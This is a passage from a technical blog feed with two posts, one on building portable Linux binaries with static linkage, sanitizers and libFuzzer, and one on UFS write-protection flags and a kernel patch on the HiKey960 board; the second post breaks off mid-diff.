<span class="nv">$ </span>./configure <span class="nt">--disabled-shared</span>
<span class="nv">$ </span>make <span class="o">&amp;&amp;</span> make <span class="nb">install</span>
</code></pre></div></div>

<p>This installed an <code class="language-plaintext highlighter-rouge">ssdeep</code> binary and a <code class="language-plaintext highlighter-rouge">libfuzzy.a</code> static library into the <code class="language-plaintext highlighter-rouge">$PREFIX</code>. The only non-standard thing here is adding <code class="language-plaintext highlighter-rouge">--disable-shared</code>.</p>

<p>Let’s inspect the resulting <code class="language-plaintext highlighter-rouge">ssdeep</code> binary’s runtime linkage requirements:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>ldd <span class="nt">-v</span> <span class="nv">$PREFIX</span>/bin/ssdeep
	linux-vdso.so.1 <span class="o">(</span>0x00007ffc813e1000<span class="o">)</span>
	libm.so.6 <span class="o">=&gt;</span> /lib/x86_64-linux-gnu/libm.so.6 <span class="o">(</span>0x00007f0ecf0c6000<span class="o">)</span>
	libpthread.so.0 <span class="o">=&gt;</span> /lib/x86_64-linux-gnu/libpthread.so.0 <span class="o">(</span>0x00007f0eceea7000<span class="o">)</span>
	librt.so.1 <span class="o">=&gt;</span> /lib/x86_64-linux-gnu/librt.so.1 <span class="o">(</span>0x00007f0ecec9f000<span class="o">)</span>
	libdl.so.2 <span class="o">=&gt;</span> /lib/x86_64-linux-gnu/libdl.so.2 <span class="o">(</span>0x00007f0ecea9b000<span class="o">)</span>
	libc.so.6 <span class="o">=&gt;</span> /lib/x86_64-linux-gnu/libc.so.6 <span class="o">(</span>0x00007f0ece6aa000<span class="o">)</span>
	/lib64/ld-linux-x86-64.so.2 <span class="o">(</span>0x00007f0ecf464000<span class="o">)</span>

	Version information:
	./ssdeep:
		libdl.so.2 <span class="o">(</span>GLIBC_2.2.5<span class="o">)</span> <span class="o">=&gt;</span> /lib/x86_64-linux-gnu/libdl.so.2
		ld-linux-x86-64.so.2 <span class="o">(</span>GLIBC_2.3<span class="o">)</span> <span class="o">=&gt;</span> /lib64/ld-linux-x86-64.so.2
		ld-linux-x86-64.so.2 <span class="o">(</span>GLIBC_2.2.5<span class="o">)</span> <span class="o">=&gt;</span> /lib64/ld-linux-x86-64.so.2
		libpthread.so.0 <span class="o">(</span>GLIBC_2.2.5<span class="o">)</span> <span class="o">=&gt;</span> /lib/x86_64-linux-gnu/libpthread.so.0
		libc.so.6 <span class="o">(</span>GLIBC_2.4<span class="o">)</span> <span class="o">=&gt;</span> /lib/x86_64-linux-gnu/libc.so.6
		libc.so.6 <span class="o">(</span>GLIBC_2.3<span class="o">)</span> <span class="o">=&gt;</span> /lib/x86_64-linux-gnu/libc.so.6
		libc.so.6 <span class="o">(</span>GLIBC_2.7<span class="o">)</span> <span class="o">=&gt;</span> /lib/x86_64-linux-gnu/libc.so.6
		libc.so.6 <span class="o">(</span>GLIBC_2.2.5<span class="o">)</span> <span class="o">=&gt;</span> /lib/x86_64-linux-gnu/libc.so.6
</code></pre></div></div>

<p>This binary depends on glibc 2.7+. This should run anywhere.</p>

<p>Use the provided <code class="language-plaintext highlighter-rouge">willitrun</code> to double check. This is a quick-script to apply basic linkage dependency checks.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>willitrun <span class="nv">$PREFIX</span>/bin/ssdeep
✓ /opt/rt/x86_64-anywhere-linux-gnu/x86_64-anywhere-linux-gnu/sysroot/usr/bin/ssdeep: <span class="nb">yes</span>
</code></pre></div></div>

<p>The next example is OpenSSL, the build system requires inspection and will not work out of the box. Here is a working example.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>wget https://dl.bintray.com/homebrew/mirror/openssl-1.0.2o.tar.gz 
<span class="nv">$ </span><span class="nb">tar </span>xf openssl-1.0.2o.tar.gz
<span class="nv">$ </span><span class="nb">cd </span>openssl-1.0.2o
<span class="nv">$ </span>./Configure <span class="nt">--prefix</span><span class="o">=</span><span class="nv">$PREFIX</span> <span class="se">\</span>
  no-ssl3 no-asm no-weak-ssl-ciphers <span class="se">\</span>
  zlib-dynamic no-shared linux-x86_64 <span class="se">\</span>
  <span class="s2">"</span><span class="nv">$CFLAGS</span><span class="s2"> -Wno-unused-command-line-argument"</span> <span class="se">\</span>
  <span class="s2">"</span><span class="nv">$LDFLAGS</span><span class="s2">"</span>
<span class="nv">$ </span>make depend
<span class="nv">$ </span>make <span class="o">&amp;&amp;</span> make <span class="nb">install</span>
</code></pre></div></div>

<p>Next try a more complicated build like cmake.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>wget https://github.com/Kitware/CMake/releases/download/v3.13.2/cmake-3.13.2.tar.gz
<span class="nv">$ </span><span class="nb">tar </span>xf cmake-3.13.2.tar.gz
<span class="nv">$ </span><span class="nb">cd </span>cmake-3.13.2
<span class="nv">$ </span>./bootstrap <span class="nt">--prefix</span><span class="o">=</span><span class="nv">$PREFIX</span>
<span class="nv">$ </span>make <span class="o">&amp;&amp;</span> make <span class="nb">install</span>
</code></pre></div></div>

<p>The only non-standard option is adding <code class="language-plaintext highlighter-rouge">--prefix</code> to <code class="language-plaintext highlighter-rouge">cmake</code>’s bootstrap script.</p>

<p>Use the provided <code class="language-plaintext highlighter-rouge">Vagrantfile</code> to be extra sure the resulting <code class="language-plaintext highlighter-rouge">cmake</code> can run anywhere. Copy the project’s <code class="language-plaintext highlighter-rouge">Vagrantfile</code> to the folder you installed <code class="language-plaintext highlighter-rouge">build-anywhere</code>, in my example this is <code class="language-plaintext highlighter-rouge">/opt/rt</code>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">cp </span>Vagrantfile /opt/rt
<span class="nv">$ </span>vagrant up centos6
<span class="nv">$ </span>vagrant ssh centos6
<span class="o">[</span>vagrant@localhost ~]<span class="nv">$ </span>/vagrant/x86_64-anywhere-linux-gnu/x86_64-anywhere-linux-gnu/sysroot/usr/bin/cmake 
Usage

  cmake <span class="o">[</span>options] 
  cmake <span class="o">[</span>options] 
  cmake <span class="o">[</span>options] <span class="nt">-S</span>  <span class="nt">-B</span> 

Specify a <span class="nb">source </span>directory to <span class="o">(</span>re-<span class="o">)</span>generate a build system <span class="k">for </span>it <span class="k">in </span>the
current working directory.  Specify an existing build directory to
re-generate its build system.

Run <span class="s1">'cmake --help'</span> <span class="k">for </span>more information.
</code></pre></div></div>

<h2 id="use-libc-by-default">Use libc++ by default</h2>

<p>The setup scripts will use <code class="language-plaintext highlighter-rouge">libc++</code> by default because there are no shared versions of these libraries installed with the <code class="language-plaintext highlighter-rouge">build-anywhere</code> toolchain(!)</p>

<p>Builds like <code class="language-plaintext highlighter-rouge">sleuthkit</code>’s make assumptions about how you want to link. In these cases the build tries very hard to link the dynamic library. The ‘forcing function’ flags to use <code class="language-plaintext highlighter-rouge">libc++</code> over GCC’s <code class="language-plaintext highlighter-rouge">libstdc++</code> are essentially the following (already set with build-anywhere).</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">LDFLAGS</span><span class="o">=</span><span class="nv">$LDFLAGS</span> <span class="nt">-l</span>:libc++.a <span class="nt">-l</span>:libc++abi.a <span class="nt">-l</span>:libunwind.a <span class="nt">-lpthread</span>
<span class="nv">CXXFLAGS</span><span class="o">=</span><span class="nv">$CXXFLAGS</span> <span class="nt">-stdlib</span><span class="o">=</span>libc++
</code></pre></div></div>

<p>So if you try to build <code class="language-plaintext highlighter-rouge">sleuthkit</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>wget https://github.com/sleuthkit/sleuthkit/archive/sleuthkit-4.6.1.tar.gz
<span class="nv">$ </span><span class="nb">tar </span>xf sleuthkit-4.6.1.tar.gz
<span class="nv">$ </span><span class="nb">cd </span>sleuthkit-sleuthkit-4.6.1
<span class="nv">$ </span>./configure <span class="nt">--disable-shared</span>
<span class="nv">$ </span>make <span class="o">&amp;&amp;</span> make <span class="nb">install</span>
<span class="nv">$ </span>willitrun <span class="nv">$PREFIX</span>/bin/icat 
✓ /opt/rt/x86_64-anywhere-linux-gnu/x86_64-anywhere-linux-gnu/sysroot/usr/bin/icat: <span class="nb">yes</span>
</code></pre></div></div>

<p>And if you are curious to compare binary size impact:</p>

<ul>
  <li>1,096,968 bytes with shared linkage (normal)</li>
  <li>1,277,240 bytes with static linkage (+14%)</li>
  <li>1,039,968 bytes total if you add <code class="language-plaintext highlighter-rouge">-Oz</code></li>
</ul>

<p>The impact is not trivial. You should not be optimizing for binary size and portability simultaniously.</p>

<h2 id="add-clangs-control-flow-integrity">Add Clang’s Control Flow Integrity</h2>

<p>It is fairly simple to add additional features like <a href="https://clang.llvm.org/docs/ControlFlowIntegrity.html">CFI</a>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">export </span><span class="nv">LDFLAGS</span><span class="o">=</span><span class="s2">"</span><span class="nv">$LFDLAGS</span><span class="s2"> -flto -fsanitize=cfi"</span>
<span class="nv">$ </span><span class="nb">export </span><span class="nv">CFLAGS</span><span class="o">=</span><span class="s2">"</span><span class="nv">$CFLAGS</span><span class="s2"> -fvisibility=hidden -fsanitize=cfi -flto"</span>
<span class="nv">$ </span><span class="nb">export </span><span class="nv">CXXFLAGS</span><span class="o">=</span><span class="s2">"</span><span class="nv">$CXXFLAGS</span><span class="s2"> -fvisibility=hidden -fsanitize=cfi -flto"</span>
</code></pre></div></div>

<p>These are not on by default yet. But adding them and building <code class="language-plaintext highlighter-rouge">ssdeep</code> again works fine.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>ssdeep <span class="sb">`</span>which ssdeep<span class="sb">`</span>
ssdeep,1.1--blocksize:hash:hash,filename
98304:Cj4OKS9OwIrgvVzDnW20B2TgMW8dkcIBN1/hvPWMkCCz51U8B:z0wvh261/VTXCzI,<span class="s2">"/opt/rt/x86_64-anywhere-linux-gnu/x86_64-anywhere-linux-gnu/sysroot/usr/bin/ssdeep"</span>
</code></pre></div></div>

<p>Add ASAN by adding <code class="language-plaintext highlighter-rouge">-fsanitize=address</code> to the three sets of flags, and finds a leak in <code class="language-plaintext highlighter-rouge">ssdeep</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">=================================================================</span>
<span class="o">==</span><span class="nv">18673</span><span class="o">==</span>ERROR: LeakSanitizer: detected memory leaks

Direct leak of 32767 byte<span class="o">(</span>s<span class="o">)</span> <span class="k">in </span>1 object<span class="o">(</span>s<span class="o">)</span> allocated from:
    <span class="c">#0 0x555c30d36857 in __interceptor_malloc /opt/rt/x86_64-anywhere-linux-gnu/x86_64-anywhere-linux-gnu/sysroot/usr/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:146:3</span>
    <span class="c">#1 0x555c30dc7613 in main /opt/build-anywhere/ssdeep-2.14.1/main.cpp:282:5</span>
    <span class="c">#2 0x7f5bd7458b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310</span>

SUMMARY: AddressSanitizer: 32767 byte<span class="o">(</span>s<span class="o">)</span> leaked <span class="k">in </span>1 allocation<span class="o">(</span>s<span class="o">)</span><span class="nb">.</span>
</code></pre></div></div>

<p>Fixed with:</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/main.cpp
</span><span class="gi">+++ b/main.cpp
</span><span class="p">@@ -315,6 +315,8 @@</span> int main(int argc, char **argv)
       ++count;
     }
 
<span class="gi">+    free(cwd);
+
</span>     // If we processed files, but didn't find anything large enough
     // to be meaningful, we should display a warning message to the user.
     // This happens mostly when people are testing very small files
</code></pre></div></div>

<h2 id="use-clangs-libfuzzer">Use Clang’s libFuzzer</h2>

<p>Like above, this is very simple, and the result is portable as well. A helper script you can source is <code class="language-plaintext highlighter-rouge">x86_64-anywhere-linux-gnu/scripts/anywhere-setup-fuzzing.sh</code>.</p>

<p>Build <code class="language-plaintext highlighter-rouge">ssdeep</code>’s <code class="language-plaintext highlighter-rouge">libfuzzy</code> and install, then build a smaller fuzzing harness:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;fuzzy.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span>
<span class="k">extern</span> <span class="s">"C"</span> <span class="kt">int</span> <span class="nf">LLVMFuzzerTestOneInput</span><span class="p">(</span><span class="k">const</span> <span class="kt">uint8_t</span> <span class="o">*</span><span class="n">Data</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">Size</span><span class="p">)</span> <span class="p">{</span>
  <span class="k">auto</span> <span class="n">state</span> <span class="o">=</span> <span class="n">fuzzy_new</span><span class="p">();</span>
  <span class="n">fuzzy_set_total_input_length</span><span class="p">(</span><span class="n">state</span><span class="p">,</span> <span class="n">Size</span><span class="p">);</span>
  <span class="n">fuzzy_update</span><span class="p">(</span><span class="n">state</span><span class="p">,</span> <span class="n">Data</span><span class="p">,</span> <span class="n">Size</span><span class="p">);</span>
  <span class="k">auto</span> <span class="n">result</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="n">malloc</span><span class="p">(</span><span class="n">FUZZY_MAX_RESULT</span><span class="p">);</span>
  <span class="n">fuzzy_digest</span><span class="p">(</span><span class="n">state</span><span class="p">,</span> <span class="n">result</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
  <span class="n">fuzzy_free</span><span class="p">(</span><span class="n">state</span><span class="p">);</span>
  <span class="n">free</span><span class="p">(</span><span class="n">result</span><span class="p">);</span>

  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>  <span class="c1">// Non-zero return values are reserved for future use.</span>
<span class="p">}</span>
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>clang++ <span class="se">\</span>
  <span class="nt">--gcc-toolchain</span><span class="o">=</span>/opt/rt/x86_64-anywhere-linux-gnu <span class="se">\</span>
  <span class="nt">--sysroot</span><span class="o">=</span>/opt/rt/x86_64-anywhere-linux-gnu/x86_64-anywhere-linux-gnu/sysroot <span class="se">\</span>
  <span class="nt">-march</span><span class="o">=</span>x86-64 <span class="nt">-fPIC</span> <span class="nt">-g</span> <span class="nt">-fstack-protector-all</span> <span class="nt">-stdlib</span><span class="o">=</span>libc++ <span class="se">\</span>
  <span class="nt">-fsanitize</span><span class="o">=</span>address,fuzzer <span class="se">\</span>
  <span class="nt">-fno-omit-frame-pointer</span> <span class="se">\</span>
  <span class="nt">-fsanitize-coverage</span><span class="o">=</span>trace-cmp fuzz.cpp <span class="se">\</span>
  <span class="nt">-static-libgcc</span> <span class="nt">-static-libstdc</span>++ <span class="nt">-fuse-ld</span><span class="o">=</span>lld <span class="nt">-l</span>:libc++.a <span class="nt">-l</span>:libc++abi.a <span class="nt">-l</span>:libunwind.a <span class="nt">-lpthread</span> <span class="se">\</span>
  <span class="nt">-l</span>:libfuzzy.a
</code></pre></div></div>

<p>Essentially the goal is to have all of clang and LLVM’s features at your fingertips.</p>

<p>Please reach out if you would like help building complex C/C++ projects such that the output binaries are portable.</p>]]></content><author><name></name></author><category term="compilers" /><summary type="html"><![CDATA[This post describes the basic requirements for compiling highly portable ELF binaries. Essentially using a newer Linux distro like Ubuntu 18.10 to build complex projects that run on older distros like CentOS 6. The details are limited to C/C++ projects and to x86_64 architectures. The low-level solution is to use a C++ runtime that requires only glibc 2.13+ runtime linkage and link all third-party libraries as well as the compiler runtime and C++ implementation statically. Do not make a “fully static” binary. You will most likely find a glibc newer than 2.13 on every Linux distribution released since 2011. The high-level solution is to use the build-anywhere scripts to build a easy-to-use toolchain and set compiler flags.]]></summary></entry><entry><title type="html">Exploring Universal Flash Storage (UFS) Write Protection on the HiKey960</title><link href="https://theopolis.github.io/blog/2018/10/6/exploring-universal-flash-storage-ufs-write-protection-on-the-hikey960" rel="alternate" type="text/html" title="Exploring Universal Flash Storage (UFS) Write Protection on the HiKey960" /><published>2018-10-06T00:00:00+00:00</published><updated>2018-10-06T00:00:00+00:00</updated><id>https://theopolis.github.io/blog/2018/10/6/exploring-universal-flash-storage-ufs-write-protection-on-the-hikey960</id><content type="html" xml:base="https://theopolis.github.io/blog/2018/10/6/exploring-universal-flash-storage-ufs-write-protection-on-the-hikey960"><![CDATA[<p>In my <a href="https://casualhacking.io/blog/2018/7/8/diy-root-of-trust-using-arm-trusted-firmware-on-the-96boards-hikey">previous post</a> I gave an overview of basic “do it yourself” root-of-trust creation through MMC boot region write-protection. I used this on sample HiKey (original) devices to authenticate ARM-Trusted-Firmware code beyond BL2, authenticating the OPTEE OS and U-Boot as BL33.</p>

<p>This post explores the same concept on a HiKey960. The 960 version has an onboard <a href="https://en.wikipedia.org/wiki/Universal_Flash_Storage">Universal Flash Storage</a> (UFS) devices, the future of MMC, and much faster! UFS as a standard has existed since 2011, but seems only since 2017 they were generally obtainable. Support in Linux has experienced very-recent updates (4.15+).</p>

<p>The unfortunate news is I have not found a way to implement an open-source/do-it-yourself Root of Trust on the HiKey960. I will explain why during this post, but this post will focus more on UFS write-protection.</p>

<!--more-->

<h2 id="background-information-on-the-hikey960">Background information on the HiKey960</h2>

<p>As usual, the focus is on booting.</p>

<p>The original HiKey’s CPU booted directly to open source <code class="language-plaintext highlighter-rouge">l-loader</code> code, placing the CPU into AARCH64 mode and then executing open source ARM-Trusted-Firmware BL1 or BL2. The HiKey960 uses a closed-source <code class="language-plaintext highlighter-rouge">xloader</code> binary stored in the UFS’s Logical Unit Number (LUN) 0 disk. This loader searches for ARM-Trusted-Firmware’s BL2 code in a GPT partition called <code class="language-plaintext highlighter-rouge">fastboot</code> on the UFS’s LUN3 disk (*). <em>This statement is an assumption based on extremely naive inferences about the <code class="language-plaintext highlighter-rouge">xloader</code> behavior. Instead of a hardcoded partition it could be referencing an offset into LUN3.</em></p>

<p>The boot flows is as follows:</p>

<ul>
  <li>LUN0:0x0 <code class="language-plaintext highlighter-rouge">xloader</code>, closed source</li>
  <li>LUN3:0x200000 (<code class="language-plaintext highlighter-rouge">fastboot</code> partition) ARM-Trusted-Firmware’s <code class="language-plaintext highlighter-rouge">BL2</code>, open source</li>
  <li>LUN3:0x1400000 (<code class="language-plaintext highlighter-rouge">fip</code> partition) ARM-Trusted-Firmware’s FIP container, various</li>
  <li><code class="language-plaintext highlighter-rouge">mcuimage</code> or <code class="language-plaintext highlighter-rouge">lpm3</code> included as <code class="language-plaintext highlighter-rouge">SCP_BL2</code> in the FIP container, closed source</li>
  <li>Optional OPTEE included as <code class="language-plaintext highlighter-rouge">BL32</code> in the FIP container, open source</li>
  <li>UEFI included as <code class="language-plaintext highlighter-rouge">BL33</code> in the FIP container, open source</li>
  <li>Your OS, open source</li>
</ul>

<p>If you read the HiKey960 <a href="https://github.com/ARM-software/arm-trusted-firmware/blob/master/plat/hisilicon/hikey960/hikey960_def.h">platform defines</a> in ARM-Trusted-Firmware you can find the offsets to <code class="language-plaintext highlighter-rouge">fip</code>, and the references to LUN3. This means we can place the FIP in another LUN or at another location in LUN3.</p>

<h2 id="ufs-write-protection">UFS Write-Protection</h2>

<p>All of my (limited) knowledge on UFS write-protection comes from <a href="assets/JESD220B.pdf"><code class="language-plaintext highlighter-rouge">JESD220B</code></a>. This specification is freely available on JEDEC’s website with a free account. Newer versions of the specification are not as free.</p>

<p>Write-protection can be applied at the Logical Unit (LU) granularity. At manufacture time the LU’s are configured. The UFS device maintains an internal structure for each Unit called the Device Descriptor. Within the descriptor includes a 8-bit flag called <code class="language-plaintext highlighter-rouge">bLUWriteProtect</code>. Section <strong>14.1.6.5</strong> defines this as offset <code class="language-plaintext highlighter-rouge">0x5</code> within the descriptor. A value of <code class="language-plaintext highlighter-rouge">0x0</code> means no protection, <code class="language-plaintext highlighter-rouge">0x1</code> means write-protection until the next power reset, and <code class="language-plaintext highlighter-rouge">0x2</code> means permanent write-protection. By default you can configure this flag at runtime, it is not write-once.</p>

<p>The writability of <code class="language-plaintext highlighter-rouge">bLUWriteProtect</code> on all Logical Units is determined by flags on the UFS device. Section <strong>14.2</strong> defines the device flags. Specifically flag <code class="language-plaintext highlighter-rouge">fPermanentWPEn</code> at offset <code class="language-plaintext highlighter-rouge">x02</code> and flag <code class="language-plaintext highlighter-rouge">fPowerOnWPEn</code> at offset <code class="language-plaintext highlighter-rouge">0x3</code>. These flags can be on or off, true or false, 0 or 1.</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">fPowerOnWPEn</code> can be enabled and will remain enabled until device reset</li>
  <li><code class="language-plaintext highlighter-rouge">fPermanentWPEn</code> is write-once forever, so be very careful</li>
</ul>

<p>If a Logical Unit’s <code class="language-plaintext highlighter-rouge">bLUWriteProtect</code> is written the device flags are checked. If the device flags are enabled then the potential configuration values are accepted or rejected. For example if you set <code class="language-plaintext highlighter-rouge">bLUWriteProtect</code> to <code class="language-plaintext highlighter-rouge">0x1</code> and <code class="language-plaintext highlighter-rouge">fPowerOnWPEn</code> is false, the value will be rejected. To say this a different way, if you want LUN0 to be write-protected until the next power-on you must first set the UFS’s device flag <code class="language-plaintext highlighter-rouge">fPowerOnWPEn==1</code> then write <code class="language-plaintext highlighter-rouge">bLUWriteProtect</code> on LUN0’s device descriptor.</p>

<h2 id="inspecting-ufs-write-protection-statuses">Inspecting UFS Write-Protection statuses</h2>

<p>Thanks to recent commits to Linux from Stanislav Nijnikov, this is rather straight forward.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
commit d10b2a8ea8fd0d6c8a667dc1950c8c061bfbbcdd
Author: Stanislav Nijnikov 
Date:   Thu Feb 15 14:14:10 2018 +0200

    scsi: ufs: sysfs: flags
    
    This patch introduces a sysfs group entry <span class="k">for </span>the UFS flags. The group adds
    <span class="s2">"flags"</span> folder under the UFS driver sysfs entry
    <span class="o">(</span>/sys/bus/platform/drivers/ufshcd/<span class="k">*</span><span class="o">)</span><span class="nb">.</span> The flags are shown as boolean value
    <span class="o">(</span><span class="s2">"true"</span> or <span class="s2">"false"</span><span class="o">)</span><span class="nb">.</span> The full information about the UFS flags could be
    found at UFS specifications 2.1.
    
    Signed-off-by: Stanislav Nijnikov &lt;stanislav.nijnikov@wdc.com&gt;
    Reviewed-by: Greg Kroah-Hartman &lt;gregkh@linuxfoundation.org&gt;
    Signed-off-by: Martin K. Petersen &lt;martin.petersen@oracle.com&gt;

commit d829fc8a1058851f1058b4a29ea02da125c1684a
Author: Stanislav Nijnikov 
Date:   Thu Feb 15 14:14:09 2018 +0200

    scsi: ufs: sysfs: unit descriptor
    
    This patch introduces a sysfs group entry <span class="k">for </span>the UFS unit descriptor
    parameters. The group adds <span class="s2">"unit_descriptor"</span> folder under the corresponding
    SCSI device sysfs entry <span class="o">(</span>/sys/class/scsi_device/<span class="k">*</span>/device/<span class="o">)</span><span class="nb">.</span> The parameters
    are shown as hexadecimal numbers. The full information about the parameters
    could be found at UFS specifications 2.1.
    
    Signed-off-by: Stanislav Nijnikov &lt;stanislav.nijnikov@wdc.com&gt;
    Reviewed-by: Greg Kroah-Hartman &lt;gregkh@linuxfoundation.org&gt;
    Signed-off-by: Martin K. Petersen &lt;martin.petersen@oracle.com&gt;
</code></pre></div></div>

<p>There are not available in the Hikey960’s 4.15 kernel. Pull Linux master and apply the 4.15’s defconfig and everything should work great. The only change I made was disabling loadable modules.</p>

<p>On my sample HiKey960:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">uname</span> <span class="nt">-a</span>
Linux linaro-developer 4.19.0-rc2-00285-gf8f6538 <span class="c">#20 SMP PREEMPT Sat Sep 8 19:37:44 EDT 2018 aarch64 GNU/Linux</span>
</code></pre></div></div>

<p>To inspect the UFS flags:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">cat</span> /sys/devices/platform/soc/ff3b0000.ufs/flags/permanent_wpe 
<span class="nb">false
</span>linaro@linaro-developer:/sys/devices/platform/soc/ff3b0000.ufs<span class="nv">$ </span><span class="nb">cat</span> /sys/devices/platform/soc/ff3b0000.ufs/flags/power_on_wpe  
<span class="nb">false</span>
<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-la</span> /sys/devices/platform/soc/ff3b0000.ufs/flags/permanent_wpe 
<span class="nt">-r--r--r--</span> 1 root root 4096 Sep  8 23:40 /sys/devices/platform/soc/ff3b0000.ufs/flags/permanent_wpe
</code></pre></div></div>

<p>Good thing this is <code class="language-plaintext highlighter-rouge">0x444</code>, but there’s no <code class="language-plaintext highlighter-rouge">.store</code> on these device attributes so you are super safe against bricking your HiKey960.</p>

<p>To inspect the unit descriptors for each LUN:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">cat</span> /sys/devices/platform/soc/ff3b0000.ufs/host0/target0<span class="se">\:</span>0<span class="se">\:</span>0/0<span class="se">\:</span>0<span class="se">\:</span>0<span class="se">\:</span>0/unit_descriptor/lun_write_protect 
0x00
linaro@linaro-developer:/sys/devices/platform/soc/ff3b0000.ufs<span class="nv">$ </span><span class="nb">cat</span> /sys/devices/platform/soc/ff3b0000.ufs/host0/target0<span class="se">\:</span>0<span class="se">\:</span>0/0<span class="se">\:</span>0<span class="se">\:</span>0<span class="se">\:</span><span class="k">*</span>/unit_descriptor/lun_write_protect 
0x00
0x00
0x00
0x00
<span class="nb">cat</span>: <span class="s1">'/sys/devices/platform/soc/ff3b0000.ufs/host0/target0:0:0/0:0:0:49456/unit_descriptor/lun_write_protect'</span>: Invalid argument
0x00
<span class="nb">cat</span>: <span class="s1">'/sys/devices/platform/soc/ff3b0000.ufs/host0/target0:0:0/0:0:0:49488/unit_descriptor/lun_write_protect'</span>: Invalid argument
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">Invalid arguments</code> come from special Units called Well-Known Units that do not support write-protection, we can ignore these right now.</p>

<p>So this says my HiKey960 is implementing no write-protection at all. Let’s change that!</p>

<h2 id="enable-fpermanentwpen">Enable <code class="language-plaintext highlighter-rouge">fPermanentWPEn</code></h2>

<p>This is a hacky example of enabling this flag through a patch to the <code class="language-plaintext highlighter-rouge">ufshcd.c</code> code. It is not recommended to apply this as having this functionality means permanent configuration is possible at run-time.</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gh">diff --git a/drivers/scsi/ufs/ufs.h b/drivers/scsi/ufs/ufs.h
index 54deeb7..717d03e 100644
</span><span class="gd">--- a/drivers/scsi/ufs/ufs.h
</span><span class="gi">+++ b/drivers/scsi/ufs/ufs.h
</span><span class="p">@@ -513,6 +514,8 @@</span> struct ufs_vreg_info {
 
 struct ufs_dev_info {
    bool f_power_on_wp_en;
<span class="gi">+   bool f_perm_wp_en;
</span>    /* Keeps information if any of the LU is power on write protected */
    bool is_lu_power_on_wp;
 };
<span class="gh">diff --git a/drivers/scsi/ufs/ufshcd.c b/drivers/scsi/ufs/ufshcd.c
index 794a460..c86229a 100644
</span><span class="gd">--- a/drivers/scsi/ufs/ufshcd.c
</span><span class="gi">+++ b/drivers/scsi/ufs/ufshcd.c
</span><span class="p">@@ -3944,6 +3944,38 @@</span> static int ufshcd_complete_dev_init(struct ufs_hba *hba)
    return err;
 }
 
<span class="gi">+static int ufshcd_write_wp(struct ufs_hba *hba, enum flag_idn flag) {
+   int i;
+   int err;
+   bool flag_res = 0;
+
+   err = ufshcd_query_flag_retry(hba, UPIU_QUERY_OPCODE_SET_FLAG, flag,
+       NULL);
+   if (err) {
+       dev_err(hba-&gt;dev,
+           "%s setting WP flag failed with error %d\n",
+           __func__, err);
+       goto out;
+   }
+
+   /* poll for max. 1000 iterations for fDeviceInit flag to clear */
+   for (i = 0; i &lt; 1000 &amp;&amp; !err &amp;&amp; flag_res; i++)
+       err = ufshcd_query_flag_retry(hba, UPIU_QUERY_OPCODE_READ_FLAG,
+           flag, &amp;flag_res);
+
+   if (err)
+       dev_err(hba-&gt;dev,
+           "%s reading WP flag failed with error %d\n",
+           __func__, err);
+   else if (flag == QUERY_FLAG_IDN_PWR_ON_WPE)
+       hba-&gt;dev_info.f_power_on_wp_en = flag_res;
+   else if (flag == QUERY_FLAG_IDN_PERMANENT_WPE)
+       hba-&gt;dev_info.f_perm_wp_en = flag_res;
+
+out:
+   return err;
+}
+
</span> /**
  * ufshcd_make_hba_operational - Make UFS controller operational
  * @hba: per adapter instance
<span class="p">@@ -4313,14 +4345,13 @@</span> static int ufshcd_get_lu_wp(struct ufs_hba *hba,
  *
  */
 static inline void ufshcd_get_lu_power_on_wp_status(struct ufs_hba *hba,
<span class="gd">- struct scsi_device *sdev)
</span><span class="gi">+                           int lun)
</span> {
    if (hba-&gt;dev_info.f_power_on_wp_en &amp;&amp;
        !hba-&gt;dev_info.is_lu_power_on_wp) {
        u8 b_lu_write_protect;
 
<span class="gd">- if (!ufshcd_get_lu_wp(hba, ufshcd_scsi_to_upiu_lun(sdev-&gt;lun),
- &amp;b_lu_write_protect) &amp;&amp;
</span><span class="gi">+       if (!ufshcd_get_lu_wp(hba, lun, &amp;b_lu_write_protect) &amp;&amp;
</span>            (b_lu_write_protect == UFS_LU_POWER_ON_WP))
            hba-&gt;dev_info.is_lu_power_on_wp = true;
    }
